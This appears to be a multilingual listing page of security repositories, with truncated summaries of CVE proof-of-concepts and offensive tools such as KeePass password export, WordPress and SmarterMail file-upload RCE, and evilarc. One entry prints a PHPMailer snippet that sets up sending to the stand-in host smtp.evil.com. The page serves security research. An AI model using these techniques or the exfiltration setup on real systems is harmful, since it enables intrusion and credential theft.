KeePass-CVE-2023-24055

KeePass-CVE-2023-24055 KeePass CVE-2023-24055 재현 KeePass CVE-2023-24055 재현 1, 준비 머신: kali192.168.232.129, windows10192.168.232.128 2, keepass 버전: 2.53 2, 원리: keepass 구성 파일 KeePass.config.xml을 수정하고 트리거 구성 항목을 추가합니다: 평문 비밀번호를 내보내고 공격자 서버에 업로드합니다. 트리거를 추가하기 위한 xml 코드는 다음과 같습니다: 여기서:...

CVE-2025-3616

Metasploit 모듈: Greenshift WordPress 플러그인 임의 파일 업로드 CVE-2025-3616 이 저장소는 Greenshift WordPress 플러그인11.411.4.5 버전의 임의 파일 업로드 취약점인 CVE-2025-3616 을 악용하기 위한 Metasploit 모듈을 포함합니다. 이 익스플로잇은 인증된 사용자Subscriber+가 임의 파일을 업로드하여 원격 코드 실행RCE으로 이어지게 합니다. GIF 매직 바이트GIF89a;로 MIME 유형을 스푸핑하여 플러그인의 파일 유형 검증을 우회합니다. 기...

CVE-2025-56499

CVE-2025-56499 ローカルルールプロバイダーのパス検証欠如による任意ファイル読み取り アップストリーム修正: https://github.com/MetaCubeX/mihomo/pull/2177 影響を受けるバージョン: mihomo = v1.19.11 概要 rule-providers設定を解析する際、type =...

Cisco-ASA-FTD-Web-Services-Traversal

Cisco Adaptive Security Appliance Software 및 Firepower Threat Defense Software 웹 서비스 경로 탐색 취약점 CVE-2020-3452 사용법: CVE-2020-3452.py https://target 취약점 설명: Cisco Adaptive Security Appliance ASA Software 및 Cisco Firepower Threat Defense FTD Software의 웹 서비스 인터페이스에서 취약점으로 인해 인증되지 않은 원격 공격자가 디렉토리 탐색 공격...

CVE-2020-9934

CVE-2020-9934 Это доказательство концепции представляет собой простую программу на Swift, которая выдаёт себе и Терминалу все разрешения kTCCService полученные из tccd, а затем выполняет четыре действия: Создаёт файл с именем «» в каталоге, защищённом TCC Считывает данные из этого файла внутри...

peanalyzer

peanalyzer Advanced Portable Executable File Analyzer Python 3.5.2 : Tested Working Usage python peanalyzer.py --file file.exe --show all|file-path|general|dos-header|file-header|optional-header|data-directory|section-headers|imports python peanalyzer.py --file file.exe --disassemble all...

git-crypt

git-crypt - git의 투명한 파일 암호화 git-crypt는 git 저장소 내 파일의 투명한 암호화 및 복호화를 가능하게 합니다. 보호하기로 선택한 파일은 커밋 시 암호화되고, 체크아웃 시 복호화됩니다. git-crypt를 사용하면 공개 및 비공개 콘텐츠가 혼합된 저장소를 자유롭게 공유할 수 있습니다. git-crypt는 우아하게 저하gracefully degrade되므로, 비밀 키가 없는 개발자도 암호화된 파일이 있는 저장소를 클론하고 커밋할 수 있습니다. 이를 통해 코드와 동일한 저장소에 비밀 자료예: 키 또는...

SonLogger-vulns

CVE-2021-27964 | SonLogger - 인증되지 않은 임의 파일 업로드 Metasploit 날짜: 30-01-2021 익스플로잇 작성자: Berkan Er [email protected] 공급업체 홈페이지: https://www.sonlogger.com/ 소프트웨어 링크: https://www.sonlogger.com/download 버전: 4.2.3.3 테스트 환경: Windows 10 Enterprise x64 CVE: 2021-27964 공개 날짜: 01-03-2021 이 모듈은 안전하지 않은 POS...

SMBCrunch

SMBCrunch Одна из самых трудоёмких задач для red teamer'а — погружение в файловые системы и общие ресурсы в попытке найти любую потенциально конфиденциальную информацию. SMBCrunch позволяет red teamer'у быстро находить Windows File Shares в сети, выполнять рекурсивный обзор директорий указанных...

CVE-2025-2539---File-Away-WordPress-Plugin-Arbitrary-File-Read

CVE-2025-2539 - File Away 워드프레스 플러그인 임의 파일 읽기 📋 실행 요약 CVE ID: CVE-2025-2539 플러그인: File Away 버전 = 3.9.9.0.1 취약점 유형: 인증된 임의 파일 읽기 CVSS 점수: 8.5 높음 익스플로잇 공개 여부: 공개 PoC 사용 가능 영향: wp-config.php, 데이터베이스 자격 증명 및 시스템 파일을 포함한 무단 파일 노출 🎯 발견 타임라인 · 최초 발견: 2025년 12월 GitHub 보안 연구를 통해 · 첫 익스플로잇 테스트: 2025년 12월 1...

CVE-2023-0386_POC

Team CVE-MD 이 저장소는 CVE-2023-0386에 대한 개념 증명PoC을 제공합니다: https://nvd.nist.gov/vuln/detail/CVE-2023-0386 팀원: Bǎnicǎ Dragoș-Marius 및 Borsos Matheas-Roland 다음은 동영상입니다: https://www.youtube.com/watch?v=Ikux1rjIYP0 CVE-2023-0386 — Linux OverlayFS 로컬 권한 상승 PoC 개요 이 저장소는 Linux 커널 OverlayFS 하위 시스템의 로컬 권한 상승...

CVE-2025-52691

CVE-2025-52691 SmarterMail 인증 없는 임의 파일 업로드 원격 코드 실행 RCE 개요 인증 없는 임의 파일 업로드로 원격 코드 실행이 가능한 치명적인 취약점입니다. 필드| 값 ---|--- 제품| SmarterMail 영향받는 버전| 빌드 9406 및 이전 버전 CVSS| 10.0 치명적 유형| 임의 파일 업로드 벡터| HTTP 인증 없음 영향| 원격 코드 실행 공격 흐름 flowchart LR AAttacker -- B"Find Upload Endpoint" B -- C"/api/upload" C --...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-30208-31125-31486-32395

Vite 취약점 악용 가이드 CVE-2025-30208/31125/31486/32395 이 문서는 Vite 개발 서버에서 발생하는 네 가지 임의 파일 읽기 취약점의 악용 방법을 요약하며, Linux 및 Windows 시스템 예제를 포함합니다. 참고: 승인된 보안 테스트 환경에서만 사용하세요. 기본 원리 Vite 개발 서버의 이 네 가지 취약점은 모두 공격자가 server.fs.deny 제한을 우회하여 서버의 임의 파일을 읽을 수 있도록 합니다. 각 취약점은 서로 다른 우회 기술을 사용하지만 기본 원리는 유사합니다. 영향 조건 ...

CVE-2018-1263-Demo

익스플로잇 데모 이 가이드는 취약한 구성 요소를 설치하고 CVE-2018-1263에 언급된 phpMyAdmin 버그와 관련된 공격을 수행하는 데 도움을 줍니다. CVE 설명 취약점이 존재하는 이유 공격 작동 방식 취약한 구성 요소 설치 방법 공격 수행 방법 CVE 설명 이 익스플로잇은 phpMyAdmin 버전 4.8.x 4.8.2 미만에서 발견된 문제와 관련 있습니다. 이 문제를 악용하면 공격자가 서버에서 원격 코드 실행 및 로컬 파일 포함을 수행할 수 있습니다. 취약점은 phpMyAdmin 내에서 페이지를 리디렉션하고 로드하...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 임의 파일 업로드 / RCE CVE-2019-12169 Exploit 제목: ATutor 2.2.4 Arbitrary File Upload / RCE CVE-2019-12169 날짜: 5/24/19 Exploit 작성자: liquidsky JMcPeters 공급업체 홈페이지: https://atutor.github.io/ 소프트웨어 링크: https://sourceforge.net/projects/atutor/files/latest/download 버전: 2.2.4 테스트 환경: Windows 8 /...

evilarc

evilarc 목적 evilarc를 사용하면 포함된 경로에 디렉터리 트래버설 문자가 있는 파일이 포함된 zip 파일을 만들 수 있습니다. 대부분의 상용 zip 프로그램winzip 등은 포함된 파일의 경로에 디렉터리 트래버설 문자가 포함된 zip 파일의 압축 해제를 차단합니다. 그러나 많은 소프트웨어 개발 라이브러리에는 이러한 보호 메커니즘이 포함되어 있지 않습니다예: Java, PHP 등. 프로그램 및/또는 라이브러리가 디렉터리 트래버설 문자를 차단하지 않는다면, evilarc를 사용하여 압축 해제 시 대상 시스템의 임의 위치...

Cloudcheck

Cloudcheck Cloudcheck предназначен для использования в той же папке, что и CloudFail. Перед использованием убедитесь, что все файлы из этого репозитория находятся в одной папке. Также создайте пустой текстовый файл с именем none.txt в папке data, чтобы при тестировании не выполнялся перебор...

skyhook

Skyhook Skyhook is a REST-driven utility used to smuggle files into and out of networks defended by IDS implementations. It comes with a pre-packaged web client that uses a blend of React, vanilla JS, and web assembly to manage file transfers. Key Links Download here See the user documentation to...

skyhook

Skyhook Skyhook — это утилита на основе REST, используемая для скрытной передачи файлов в сети и из сетей, защищённых системами IDS. Она поставляется с готовым веб-клиентом, использующим комбинацию React, vanilla JS и WebAssembly для управления передачей файлов. Ключевые ссылки Скачать здесь...